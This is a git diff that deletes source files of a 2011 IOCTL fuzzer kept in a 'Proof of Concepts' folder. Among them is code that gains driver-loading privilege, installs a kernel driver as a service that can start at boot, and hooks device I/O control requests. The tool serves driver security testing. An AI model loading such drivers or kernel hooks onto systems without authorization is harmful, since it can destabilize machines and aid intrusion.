- DbgMsg(__FILE__, __LINE__, "SetConsoleScreenBufferInfoEx() ERROR %d\n", GetLastError());
- }
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "GetConsoleScreenBufferInfoEx() ERROR %d\n", GetLastError());
- }
- }
-
- if (!LoadPrivileges(SE_LOAD_DRIVER_NAME))
- {
- DbgMsg(__FILE__, __LINE__, "Error while loading 'SeLoadDriverPrivilege'\r\n");
- goto end;
- }
-
-
- PVOID DriverData = NULL;
- DWORD dwDriverDataSize = 0;
-
- // extract kernel driver from resources
-#if defined(_X86_)
- if (GetResPayload(GetModuleHandle(NULL), RESOURCE_NAME_DRIVER32, &DriverData, &dwDriverDataSize))
-#else
- if (GetResPayload(GetModuleHandle(NULL), RESOURCE_NAME_DRIVER64, &DriverData, &dwDriverDataSize))
-#endif
- {
- // ... and dump it to the disk
- if (!DumpToFile(szDriverFileName, DriverData, dwDriverDataSize))
- {
- DbgMsg(__FILE__, __LINE__, "Error while creating kernel driver file.\r\n");
- goto end;
- }
-
- M_FREE(DriverData);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "Error while extracting kernel driver from resources.\r\n");
- goto end;
- }
-
- if (!DrvServiceStart(DRIVER_SERVICE_NAME, szDriverFileName, NULL))
- {
- DbgMsg(__FILE__, __LINE__, "Error while creating/starting system service for kernel driver.\r\n");
- goto end;
- }
-
- if (m_bBoot)
- {
- if (!DrvServiceSetStartType(DRIVER_SERVICE_NAME, SERVICE_BOOT_START))
- {
- DbgMsg(__FILE__, __LINE__, "Error while changing service startup type.\r\n");
- goto end;
- }
-
- DbgMsg(__FILE__, __LINE__, "Service startup type has been set to the SERVICE_BOOT_START.\r\n");
- }
- else
- {
- if (!DrvServiceSetStartType(DRIVER_SERVICE_NAME, SERVICE_DEMAND_START))
- {
- DbgMsg(__FILE__, __LINE__, "Error while changing service startup type.\r\n");
- goto end;
- }
- }
-
- // create thread for kernel mode APC's
- HANDLE hThread = CreateThread(NULL, 0, ApcThread, NULL, 0, &m_dwFuzzThreadId);
- if (hThread)
- {
- DbgMsg(__FILE__, __LINE__, "Thread for kernel mode APC's created (ID: %x)\r\n", m_dwFuzzThreadId);
- CloseHandle(hThread);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\r\n", GetLastError());
- }
-
- if (DrvOpenDevice(DEVICE_NAME, &hDevice))
- {
- /**
- * Fuzzing or monitoring mode
- */
- REQUEST_BUFFER Buff;
- ZeroMemory(&Buff, sizeof(Buff));
- Buff.Code = C_DEL_OPTIONS;
-
- // delete previously saved fuzing/minitoring options
- DrvDeviceRequest(&Buff, sizeof(REQUEST_BUFFER));
-
- if (lpszConfigPath)
- {
- ParseConfig(lpszConfigPath);
- }
- else
- {
- SetDefaultOptions();
- }
-
- SetConsoleCtrlHandler(CtrlHandler, TRUE);
-
- DialogBox(GetModuleHandle(NULL), MAKEINTRESOURCE(IDD_DIALOG), NULL, (DLGPROC)MainDlg);
-
- BOOL bStopService = TRUE;
- ZeroMemory(&Buff, sizeof(Buff));
- Buff.Code = C_CHECK_HOOKS;
-
- // check for installed hooks
- if (DrvDeviceRequest(&Buff, sizeof(REQUEST_BUFFER)) &&
- Buff.CheckHooks.bHooksInstalled)
- {
- bStopService = FALSE;
-
- if (MessageBox(
- 0,
- "Warning!\r\n"
- "Unloading of a kernel driver may be unsafe.\r\n"
- "Press to unload it, or for just a program termination.",
- "Exit from program", MB_YESNO | MB_ICONWARNING | MB_TOPMOST) == IDYES)
- {
- bStopService = TRUE;
- }
- }
-
- CloseHandle(hDevice);
-
- if (bStopService)
- {
- DrvServiceStop(DRIVER_SERVICE_NAME);
- }
-
- if (bPrintDevices)
- {
- goto end;
- }
-
- ExitProcess(0);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "Error while opening kernel driver communication device\r\n");
- }
-
- DrvServiceStop(DRIVER_SERVICE_NAME);
-
-end:
- printf("Press any key to quit...\r\n");
- getch();
-
- return 0;
-}
-//--------------------------------------------------------------------------------------
-// EoF
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.log b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.log
deleted file mode 100644
index c363e2c3..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.log
+++ /dev/null
@@ -1,3 +0,0 @@
-[17792] DbgInit(): Log file 'c:\Users\minzhen\Desktop\8.3 Hook DeviceIoControlFile(x86 x64)\HookDeviceIoControlFile\HookDeviceIoControlFile\HookDeviceIoControlFile\ioctlfuzzer.log' created
-[17792] PipeServerThread(): Listening on pipe '\\.\pipe\IOCTLfuzzer'
-[17792] [+] Changing console screen buffer height from 300 to 4096 lines
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.rc b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.rc
deleted file mode 100644
index a392e018..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.rc
+++ /dev/null
@@ -1,165 +0,0 @@
-// Microsoft Visual C++ generated resource script.
-//
-#include "resource.h"
-
-#define APSTUDIO_READONLY_SYMBOLS
-/////////////////////////////////////////////////////////////////////////////
-//
-// Generated from the TEXTINCLUDE 2 resource.
-//
-#include "afxres.h"
-
-/////////////////////////////////////////////////////////////////////////////
-#undef APSTUDIO_READONLY_SYMBOLS
-
-/////////////////////////////////////////////////////////////////////////////
-// Russian resources
-
-#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_RUS)
-#ifdef _WIN32
-LANGUAGE LANG_RUSSIAN, SUBLANG_DEFAULT
-#pragma code_page(1251)
-#endif //_WIN32
-
-#ifdef APSTUDIO_INVOKED
-/////////////////////////////////////////////////////////////////////////////
-//
-// TEXTINCLUDE
-//
-
-1 TEXTINCLUDE
-BEGIN
- "resource.h\0"
-END
-
-2 TEXTINCLUDE
-BEGIN
- "#include ""afxres.h""\r\0"
-END
-
-3 TEXTINCLUDE
-BEGIN
- "\r\0"
-END
-
-#endif // APSTUDIO_INVOKED
-
-
-/////////////////////////////////////////////////////////////////////////////
-//
-// RT_MANIFEST
-//
-
-1 RT_MANIFEST "default.manifest"
-
-/////////////////////////////////////////////////////////////////////////////
-//
-// Dialog
-//
-
-IDD_DIALOG DIALOGEX 0, 0, 258, 159
-STYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | DS_CENTER | WS_POPUP | WS_CAPTION
-CAPTION "IOCTL Fuzzer"
-FONT 8, "MS Shell Dlg", 400, 0, 0x1
-BEGIN
- LTEXT "IOCTL Fuzzer control pannel",IDC_STATIC,55,24,92,8
- ICON "IDI_ICON",IDC_STATIC,21,17,21,20
- PUSHBUTTON "Hide Dialog",IDC_HIDE,15,128,101,14
- PUSHBUTTON "Terminate Application",IDC_TERMINATE,127,128,113,14
- GROUPBOX "",IDC_STATIC,7,0,238,152
- CONTROL "Enable IOCTL Requests Monitoring",IDC_LOG_CONSOLE,
- "Button",BS_AUTOCHECKBOX | WS_TABSTOP,26,65,127,10
- CONTROL "Print Logs Into the Debugger Output",IDC_LOG_DEBUGGER,
- "Button",BS_AUTOCHECKBOX | WS_TABSTOP,26,99,133,10
- GROUPBOX "Logging Options",IDC_STATIC,15,48,221,68
- CONTROL "Dump IOCTL Request Buffers (Max. Length: 0x1000)",IDC_LOG_BUFFERS,
- "Button",BS_AUTOCHECKBOX | WS_TABSTOP,26,82,186,10
-END
-
-
-/////////////////////////////////////////////////////////////////////////////
-//
-// Icon
-//
-
-// Icon with lowest ID value placed first to ensure application icon
-// remains consistent on all systems.
-IDI_ICON ICON "resources\\icon.ico"
-
-/////////////////////////////////////////////////////////////////////////////
-//
-// Version
-//
-
-VS_VERSION_INFO VERSIONINFO
- FILEVERSION 1,3,0,0
- PRODUCTVERSION 1,3,0,0
- FILEFLAGSMASK 0x17L
-#ifdef _DEBUG
- FILEFLAGS 0x1L
-#else
- FILEFLAGS 0x0L
-#endif
- FILEOS 0x4L
- FILETYPE 0x1L
- FILESUBTYPE 0x0L
-BEGIN
- BLOCK "StringFileInfo"
- BEGIN
- BLOCK "000004b0"
- BEGIN
- VALUE "CompanyName", "Esage Lab"
- VALUE "FileDescription", "IOCTL fuzzer for kernel drivers"
- VALUE "FileVersion", "1, 3, 0, 0"
- VALUE "InternalName", "ioctlfuzzer.exe"
- VALUE "LegalCopyright", "Copyright (C) 2011"
- VALUE "OriginalFilename", "ioctlfuzzer.exe"
- VALUE "ProductName", "IOCTLFuzzer"
- VALUE "ProductVersion", "1, 3, 0, 0"
- END
- END
- BLOCK "VarFileInfo"
- BEGIN
- VALUE "Translation", 0x0, 1200
- END
-END
-
-
-/////////////////////////////////////////////////////////////////////////////
-//
-// BINRES
-//
-
-DRIVER32 BINRES "..\\driver_i386.sys"
-DRIVER64 BINRES "..\\driver_amd64.sys"
-
-/////////////////////////////////////////////////////////////////////////////
-//
-// DESIGNINFO
-//
-
-#ifdef APSTUDIO_INVOKED
-GUIDELINES DESIGNINFO
-BEGIN
- IDD_DIALOG, DIALOG
- BEGIN
- RIGHTMARGIN, 252
- BOTTOMMARGIN, 152
- END
-END
-#endif // APSTUDIO_INVOKED
-
-#endif // Russian resources
-/////////////////////////////////////////////////////////////////////////////
-
-
-
-#ifndef APSTUDIO_INVOKED
-/////////////////////////////////////////////////////////////////////////////
-//
-// Generated from the TEXTINCLUDE 3 resource.
-//
-
-/////////////////////////////////////////////////////////////////////////////
-#endif // not APSTUDIO_INVOKED
-
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/lib/amd64/comsupp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/lib/amd64/comsupp.lib
deleted file mode 100644
index d0b680e0..00000000
Binary files a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/lib/amd64/comsupp.lib and /dev/null differ
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/lib/comsupp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/lib/comsupp.lib
deleted file mode 100644
index 13b91509..00000000
Binary files a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/lib/comsupp.lib and /dev/null differ
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ntdll_defs.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ntdll_defs.h
deleted file mode 100644
index fa904b7d..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ntdll_defs.h
+++ /dev/null
@@ -1,73 +0,0 @@
-typedef LONG NTSTATUS;
-
-typedef struct _IO_STATUS_BLOCK
-{
- union {
- NTSTATUS Status;
- PVOID Pointer;
- };
- ULONG_PTR Information;
-
-} IO_STATUS_BLOCK,
-*PIO_STATUS_BLOCK;
-
-#undef UNICODE_STRING
-
-typedef struct _UNICODE_STRING
-{
- USHORT Length;
- USHORT MaximumLength;
- PWSTR Buffer;
-
-} UNICODE_STRING,
-*PUNICODE_STRING;
-
-#define OBJ_INHERIT 0x00000002
-#define OBJ_PERMANENT 0x00000010
-#define OBJ_EXCLUSIVE 0x00000020
-#define OBJ_CASE_INSENSITIVE 0x00000040
-#define OBJ_OPENIF 0x00000080
-#define OBJ_OPENLINK 0x00000100
-#define OBJ_VALID_ATTRIBUTES 0x000001F2
-
-typedef struct _OBJECT_ATTRIBUTES
-{
- ULONG Length;
- HANDLE RootDirectory;
- PUNICODE_STRING ObjectName;
- ULONG Attributes;
- PVOID SecurityDescriptor;
- PVOID SecurityQualityOfService;
-
-} OBJECT_ATTRIBUTES,
-*POBJECT_ATTRIBUTES;
-
-#define InitializeObjectAttributes( p, n, a, r, s ) { \
- (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
- (p)->RootDirectory = r; \
- (p)->Attributes = a; \
- (p)->ObjectName = n; \
- (p)->SecurityDescriptor = s; \
- (p)->SecurityQualityOfService = NULL; \
-}
-
-#define NT_SUCCESS(Status) ((LONG)(Status) >= 0)
-#define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3)
-
-#define NtCurrentProcess() ((HANDLE)-1)
-
-#ifndef STATUS_BUFFER_OVERFLOW
-#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L)
-#endif
-
-#ifndef STATUS_NO_MORE_FILES
-#define STATUS_NO_MORE_FILES ((NTSTATUS)0x80000006L)
-#endif
-
-#ifndef STATUS_INFO_LENGTH_MISMATCH
-#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
-#endif
-
-#ifndef STATUS_BUFFER_TOO_SMALL
-#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L)
-#endif
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/options.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/options.h
deleted file mode 100644
index 23b9a183..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/options.h
+++ /dev/null
@@ -1,44 +0,0 @@
-
-/**
- * Program information, copyright, etc.
- */
-#define PROGRAM_NAME "IOCTL Fuzzer"
-#define PROGRAM_AUTHOR "by Oleksiuk Dmytro (aka Cr4sh) :: dmitry@esagelab.com"
-#define PROGRAM_COPYRIGHT "(c) 2011 Esage Lab :: http://www.esagelab.com/"
-
-/**
- * Log file name to store all IOCTLs requests information.
- */
-#define IOCTLS_LOG_NAME L"ioctls.log"
-
-/**
- * Main application log file name.
- */
-#define IOCTLFUZZER_LOG_FILE "ioctlfuzzer.log"
-
-/**
- * File and service name for the kernel driver.
- */
-#define DRIVER_SERVICE_NAME "IOCTL_fuzzer"
-#define DRIVER_FILE_NAME "IOCTL_fuzzer.sys"
-
-/**
- * Directory name to store downloaded debug symbols.
- */
-#define SYMBOLS_DIR_NAME "Symbols"
-
-/**
- * Default value for fuzzing type option.
- */
-#define DEFAULT_FUZZING_TYPE FuzzingType_Random
-
-/**
- * IOCTL buffer length limit for dumping into the
- * application log or debugger output.
- */
-#define MAX_IOCTL_BUFFER_LEGTH 0x100
-
-/**
- * Maximum number of lines in console window.
- */
-#define CONSOLE_BUFFER_HEIGHT 0x1000
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resource.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resource.h
deleted file mode 100644
index faba6e69..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resource.h
+++ /dev/null
@@ -1,501 +0,0 @@
-//{{NO_DEPENDENCIES}}
-// Microsoft Visual C++ generated include file.
-// Used by ioctlfuzzer.rc
-//
-#define ID_SEPARATOR 0
-#define VS_VERSION_INFO 1
-#define AFX_IDC_LISTBOX 100
-#define AFX_IDC_CHANGE 101
-#define IDD_DIALOG 101
-#define AFX_IDC_BROWSER 102
-#define AFX_IDC_PRINT_DOCNAME 201
-#define AFX_IDC_PRINT_PRINTERNAME 202
-#define AFX_IDC_PRINT_PORTNAME 203
-#define AFX_IDC_PRINT_PAGENUM 204
-#define ID_MFCLOC_MANIFEST 1000
-#define AFX_IDC_FONTPROP 1000
-#define IDC_HIDE 1000
-#define AFX_IDC_FONTNAMES 1001
-#define IDC_TERMINATE 1001
-#define AFX_IDC_FONTSTYLES 1002
-#define AFX_IDC_FONTSIZES 1003
-#define AFX_IDC_STRIKEOUT 1004
-#define AFX_IDC_UNDERLINE 1005
-#define IDC_LOG_CONSOLE 1005
-#define AFX_IDC_SAMPLEBOX 1006
-#define IDC_FUZZ_SIZE2 1008
-#define IDC_LOG_DEBUGGER 1008
-#define IDC_LOG_BUFFERS 1009
-#define IDC_CHECK2 1010
-#define IDC_LOG_EXCEPTIONS 1010
-#define AFX_IDC_COLOR_BLACK 1100
-#define AFX_IDC_COLOR_WHITE 1101
-#define AFX_IDC_COLOR_RED 1102
-#define AFX_IDC_COLOR_GREEN 1103
-#define AFX_IDC_COLOR_BLUE 1104
-#define AFX_IDC_COLOR_YELLOW 1105
-#define AFX_IDC_COLOR_MAGENTA 1106
-#define AFX_IDC_COLOR_CYAN 1107
-#define AFX_IDC_COLOR_GRAY 1108
-#define AFX_IDC_COLOR_LIGHTGRAY 1109
-#define AFX_IDC_COLOR_DARKRED 1110
-#define AFX_IDC_COLOR_DARKGREEN 1111
-#define AFX_IDC_COLOR_DARKBLUE 1112
-#define AFX_IDC_COLOR_LIGHTBROWN 1113
-#define AFX_IDC_COLOR_DARKMAGENTA 1114
-#define AFX_IDC_COLOR_DARKCYAN 1115
-#define AFX_IDC_COLORPROP 1116
-#define AFX_IDC_SYSTEMCOLORS 1117
-#define AFX_IDC_PROPNAME 1201
-#define AFX_IDC_PICTURE 1202
-#define AFX_IDC_BROWSE 1203
-#define AFX_IDC_CLEAR 1204
-#define AFX_IDC_TAB_CONTROL 0x3020
-#define ID_APPLY_NOW 0x3021
-#define ID_WIZBACK 0x3023
-#define ID_WIZNEXT 0x3024
-#define ID_WIZFINISH 0x3025
-#define AFX_IDD_NEWTYPEDLG 30721
-#define AFX_IDD_PRINTDLG 30722
-#define AFX_IDD_PREVIEW_TOOLBAR 30723
-#define AFX_IDD_INSERTOBJECT 30724
-#define AFX_IDD_CHANGEICON 30725
-#define AFX_IDD_CONVERT 30726
-#define AFX_IDD_PASTESPECIAL 30727
-#define AFX_IDD_EDITLINKS 30728
-#define AFX_IDD_FILEBROWSE 30729
-#define AFX_IDD_BUSY 30730
-#define AFX_IDD_OBJECTPROPERTIES 30732
-#define AFX_IDD_CHANGESOURCE 30733
-#define AFX_IDD_EMPTYDIALOG 30734
-#define AFX_IDC_CONTEXTHELP 30977
-#define AFX_IDC_MAGNIFY 30978
-#define AFX_IDC_SMALLARROWS 30979
-#define AFX_IDC_HSPLITBAR 30980
-#define AFX_IDC_VSPLITBAR 30981
-#define AFX_IDC_NODROPCRSR 30982
-#define AFX_IDC_TRACKNWSE 30983
-#define AFX_IDC_TRACKNESW 30984
-#define AFX_IDC_TRACKNS 30985
-#define AFX_IDC_TRACKWE 30986
-#define AFX_IDC_TRACK4WAY 30987
-#define AFX_IDC_MOVE4WAY 30988
-#define AFX_IDB_MINIFRAME_MENU 30994
-#define AFX_IDB_CHECKLISTBOX_95 30996
-#define AFX_IDR_PREVIEW_ACCEL 30997
-#define AFX_IDC_MOUSE_PAN_NW 30998
-#define AFX_IDC_MOUSE_PAN_N 30999
-#define AFX_IDC_MOUSE_PAN_NE 31000
-#define AFX_IDC_MOUSE_PAN_W 31001
-#define AFX_IDC_MOUSE_PAN_HV 31002
-#define AFX_IDC_MOUSE_PAN_E 31003
-#define AFX_IDC_MOUSE_PAN_SW 31004
-#define AFX_IDC_MOUSE_PAN_S 31005
-#define AFX_IDC_MOUSE_PAN_SE 31006
-#define AFX_IDC_MOUSE_PAN_HORZ 31007
-#define AFX_IDC_MOUSE_PAN_VERT 31008
-#define AFX_IDC_MOUSE_ORG_HORZ 31009
-#define AFX_IDC_MOUSE_ORG_VERT 31010
-#define AFX_IDC_MOUSE_ORG_HV 31011
-#define AFX_IDC_MOUSE_MASK 31012
-#define AFX_IDI_STD_MDIFRAME 31233
-#define AFX_IDI_STD_FRAME 31234
-#define AFX_IDD_PROPPAGE_COLOR 32257
-#define AFX_IDD_PROPPAGE_FONT 32258
-#define AFX_IDD_PROPPAGE_PICTURE 32259
-#define AFX_IDB_TRUETYPE 32384
-#define AFX_IDS_APP_TITLE 0xE000
-#define AFX_IDS_IDLEMESSAGE 0xE001
-#define AFX_IDS_HELPMODEMESSAGE 0xE002
-#define AFX_IDS_APP_TITLE_EMBEDDING 0xE003
-#define AFX_IDS_COMPANY_NAME 0xE004
-#define AFX_IDS_OBJ_TITLE_INPLACE 0xE005
-#define ID_FILE_NEW 0xE100
-#define ID_FILE_OPEN 0xE101
-#define ID_FILE_CLOSE 0xE102
-#define ID_FILE_SAVE 0xE103
-#define ID_FILE_SAVE_AS 0xE104
-#define ID_FILE_PAGE_SETUP 0xE105
-#define ID_FILE_PRINT_SETUP 0xE106
-#define ID_FILE_PRINT 0xE107
-#define ID_FILE_PRINT_DIRECT 0xE108
-#define ID_FILE_PRINT_PREVIEW 0xE109
-#define ID_FILE_UPDATE 0xE10A
-#define ID_FILE_SAVE_COPY_AS 0xE10B
-#define ID_FILE_SEND_MAIL 0xE10C
-#define ID_FILE_NEW_FRAME 0xE10D
-#define ID_FILE_MRU_FIRST 0xE110
-#define ID_FILE_MRU_FILE1 0xE110
-#define ID_FILE_MRU_FILE2 0xE111
-#define ID_FILE_MRU_FILE3 0xE112
-#define ID_FILE_MRU_FILE4 0xE113
-#define ID_FILE_MRU_FILE5 0xE114
-#define ID_FILE_MRU_FILE6 0xE115
-#define ID_FILE_MRU_FILE7 0xE116
-#define ID_FILE_MRU_FILE8 0xE117
-#define ID_FILE_MRU_FILE9 0xE118
-#define ID_FILE_MRU_FILE10 0xE119
-#define ID_FILE_MRU_FILE11 0xE11A
-#define ID_FILE_MRU_FILE12 0xE11B
-#define ID_FILE_MRU_FILE13 0xE11C
-#define ID_FILE_MRU_FILE14 0xE11D
-#define ID_FILE_MRU_FILE15 0xE11E
-#define ID_FILE_MRU_FILE16 0xE11F
-#define ID_FILE_MRU_LAST 0xE11F
-#define ID_EDIT_CLEAR 0xE120
-#define ID_EDIT_CLEAR_ALL 0xE121
-#define ID_EDIT_COPY 0xE122
-#define ID_EDIT_CUT 0xE123
-#define ID_EDIT_FIND 0xE124
-#define ID_EDIT_PASTE 0xE125
-#define ID_EDIT_PASTE_LINK 0xE126
-#define ID_EDIT_PASTE_SPECIAL 0xE127
-#define ID_EDIT_REPEAT 0xE128
-#define ID_EDIT_REPLACE 0xE129
-#define ID_EDIT_SELECT_ALL 0xE12A
-#define ID_EDIT_UNDO 0xE12B
-#define ID_EDIT_REDO 0xE12C
-#define ID_WINDOW_NEW 0xE130
-#define ID_WINDOW_ARRANGE 0xE131
-#define ID_WINDOW_CASCADE 0xE132
-#define ID_WINDOW_TILE_HORZ 0xE133
-#define ID_WINDOW_TILE_VERT 0xE134
-#define ID_WINDOW_SPLIT 0xE135
-#define ID_APP_ABOUT 0xE140
-#define ID_APP_EXIT 0xE141
-#define ID_HELP_INDEX 0xE142
-#define ID_HELP_FINDER 0xE143
-#define ID_HELP_USING 0xE144
-#define ID_CONTEXT_HELP 0xE145
-#define ID_HELP 0xE146
-#define ID_DEFAULT_HELP 0xE147
-#define ID_NEXT_PANE 0xE150
-#define ID_PREV_PANE 0xE151
-#define ID_FORMAT_FONT 0xE160
-#define ID_OLE_INSERT_NEW 0xE200
-#define ID_OLE_EDIT_LINKS 0xE201
-#define ID_OLE_EDIT_CONVERT 0xE202
-#define ID_OLE_EDIT_CHANGE_ICON 0xE203
-#define ID_OLE_EDIT_PROPERTIES 0xE204
-#define ID_OLE_VERB_FIRST 0xE210
-#define AFX_ID_PREVIEW_CLOSE 0xE300
-#define AFX_ID_PREVIEW_NUMPAGE 0xE301
-#define AFX_ID_PREVIEW_NEXT 0xE302
-#define AFX_ID_PREVIEW_PREV 0xE303
-#define AFX_ID_PREVIEW_PRINT 0xE304
-#define AFX_ID_PREVIEW_ZOOMIN 0xE305
-#define AFX_ID_PREVIEW_ZOOMOUT 0xE306
-#define ID_INDICATOR_EXT 0xE700
-#define ID_INDICATOR_CAPS 0xE701
-#define ID_INDICATOR_NUM 0xE702
-#define ID_INDICATOR_SCRL 0xE703
-#define ID_INDICATOR_OVR 0xE704
-#define ID_INDICATOR_REC 0xE705
-#define ID_INDICATOR_KANA 0xE706
-#define ID_VIEW_TOOLBAR 0xE800
-#define ID_VIEW_STATUS_BAR 0xE801
-#define ID_VIEW_REBAR 0xE804
-#define ID_VIEW_AUTOARRANGE 0xE805
-#define ID_VIEW_SMALLICON 0xE810
-#define ID_VIEW_LARGEICON 0xE811
-#define ID_VIEW_LIST 0xE812
-#define ID_VIEW_DETAILS 0xE813
-#define ID_VIEW_LINEUP 0xE814
-#define ID_VIEW_BYNAME 0xE815
-#define ID_RECORD_FIRST 0xE900
-#define ID_RECORD_LAST 0xE901
-#define ID_RECORD_NEXT 0xE902
-#define ID_RECORD_PREV 0xE903
-#define AFX_IDS_SCSIZE 0xEF00
-#define AFX_IDS_SCMOVE 0xEF01
-#define AFX_IDS_SCMINIMIZE 0xEF02
-#define AFX_IDS_SCMAXIMIZE 0xEF03
-#define AFX_IDS_SCNEXTWINDOW 0xEF04
-#define AFX_IDS_SCPREVWINDOW 0xEF05
-#define AFX_IDS_SCCLOSE 0xEF06
-#define AFX_IDS_SCRESTORE 0xEF12
-#define AFX_IDS_SCTASKLIST 0xEF13
-#define AFX_IDS_MDICHILD 0xEF1F
-#define AFX_IDS_DESKACCESSORY 0xEFDA
-#define AFX_IDS_OPENFILE 0xF000
-#define AFX_IDS_SAVEFILE 0xF001
-#define AFX_IDS_ALLFILTER 0xF002
-#define AFX_IDS_UNTITLED 0xF003
-#define AFX_IDS_SAVEFILECOPY 0xF004
-#define AFX_IDS_PREVIEW_CLOSE 0xF005
-#define AFX_IDS_UNNAMED_FILE 0xF006
-#define AFX_IDS_HIDE 0xF011
-#define AFX_IDP_NO_ERROR_AVAILABLE 0xF020
-#define AFX_IDS_NOT_SUPPORTED_EXCEPTION 0xF021
-#define AFX_IDS_RESOURCE_EXCEPTION 0xF022
-#define AFX_IDS_MEMORY_EXCEPTION 0xF023
-#define AFX_IDS_USER_EXCEPTION 0xF024
-#define AFX_IDS_INVALID_ARG_EXCEPTION 0xF025
-#define AFX_IDS_PRINTONPORT 0xF040
-#define AFX_IDS_ONEPAGE 0xF041
-#define AFX_IDS_TWOPAGE 0xF042
-#define AFX_IDS_PRINTPAGENUM 0xF043
-#define AFX_IDS_PREVIEWPAGEDESC 0xF044
-#define AFX_IDS_PRINTDEFAULTEXT 0xF045
-#define AFX_IDS_PRINTDEFAULT 0xF046
-#define AFX_IDS_PRINTFILTER 0xF047
-#define AFX_IDS_PRINTCAPTION 0xF048
-#define AFX_IDS_PRINTTOFILE 0xF049
-#define AFX_IDS_OBJECT_MENUITEM 0xF080
-#define AFX_IDS_EDIT_VERB 0xF081
-#define AFX_IDS_ACTIVATE_VERB 0xF082
-#define AFX_IDS_CHANGE_LINK 0xF083
-#define AFX_IDS_AUTO 0xF084
-#define AFX_IDS_MANUAL 0xF085
-#define AFX_IDS_FROZEN 0xF086
-#define AFX_IDS_ALL_FILES 0xF087
-#define AFX_IDS_SAVE_MENU 0xF088
-#define AFX_IDS_UPDATE_MENU 0xF089
-#define AFX_IDS_SAVE_AS_MENU 0xF08A
-#define AFX_IDS_SAVE_COPY_AS_MENU 0xF08B
-#define AFX_IDS_EXIT_MENU 0xF08C
-#define AFX_IDS_UPDATING_ITEMS 0xF08D
-#define AFX_IDS_METAFILE_FORMAT 0xF08E
-#define AFX_IDS_DIB_FORMAT 0xF08F
-#define AFX_IDS_BITMAP_FORMAT 0xF090
-#define AFX_IDS_LINKSOURCE_FORMAT 0xF091
-#define AFX_IDS_EMBED_FORMAT 0xF092
-#define AFX_IDS_PASTELINKEDTYPE 0xF094
-#define AFX_IDS_UNKNOWNTYPE 0xF095
-#define AFX_IDS_RTF_FORMAT 0xF096
-#define AFX_IDS_TEXT_FORMAT 0xF097
-#define AFX_IDS_INVALID_CURRENCY 0xF098
-#define AFX_IDS_INVALID_DATETIME 0xF099
-#define AFX_IDS_INVALID_DATETIMESPAN 0xF09A
-#define AFX_IDP_INVALID_FILENAME 0xF100
-#define AFX_IDP_FAILED_TO_OPEN_DOC 0xF101
-#define AFX_IDP_FAILED_TO_SAVE_DOC 0xF102
-#define AFX_IDP_ASK_TO_SAVE 0xF103
-#define AFX_IDP_FAILED_TO_CREATE_DOC 0xF104
-#define AFX_IDP_FILE_TOO_LARGE 0xF105
-#define AFX_IDP_FAILED_TO_START_PRINT 0xF106
-#define AFX_IDP_FAILED_TO_LAUNCH_HELP 0xF107
-#define AFX_IDP_INTERNAL_FAILURE 0xF108
-#define AFX_IDP_COMMAND_FAILURE 0xF109
-#define AFX_IDP_FAILED_MEMORY_ALLOC 0xF10A
-#define AFX_IDP_UNREG_DONE 0xF10B
-#define AFX_IDP_UNREG_FAILURE 0xF10C
